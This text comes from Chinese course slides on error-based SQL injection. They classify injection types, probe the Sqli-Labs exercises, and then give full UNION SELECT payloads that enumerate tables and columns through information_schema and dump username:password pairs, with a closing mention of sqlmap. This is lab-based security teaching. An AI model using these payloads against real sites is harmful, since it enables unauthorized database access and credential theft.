Web攻防视频教程第四节 基于报错的SQL注入-01.pptx

Web攻防训练营基于报错的SQL注入

1.SQL注入的分类2.GET基于报错的SQL注入发现3.GET基于报错的SQL注入利用4.利用Sqlmap测试课程内容

01SQL注入的分类

根据注入位置数据类型可将SQL注入分为两类：数字型和字符型。例如：数字型：select*fromtablewhereid=用户输入id例如：字符型：select*fromtablewhereid=用户输入id

02GET基于报错的SQL注入发现

实验：Sqli-LabLess1~4,GET基于报错的SQL注入。通过在URL中修改对应的ID值，为正常数字、大数字、字符（单引号、双引号、双单引号、括号）、反斜杠\来探测URL中是否存在注入点。

03GET基于报错的SQL注入利用

1、利用orderby判断字段数。2、利用unionselect联合查询，获取表名。0unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()--+3、利用unionselect联合查询，获取字段名。0unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name=users--+4、利用unionselect联合查询，获取字段值。0unionselect1,group_concat(username,0x3a,password),3fromusers--+

04利用Sqlmap测试

利用Sqlmap进行SQL注入漏洞利用

1.SQL注入的分类2.GET基于报错的SQL注入发现3.GET基于报错的SQL注入利用4.利用Sqlmap测试总结

再见欢迎关注Web安全训练营课程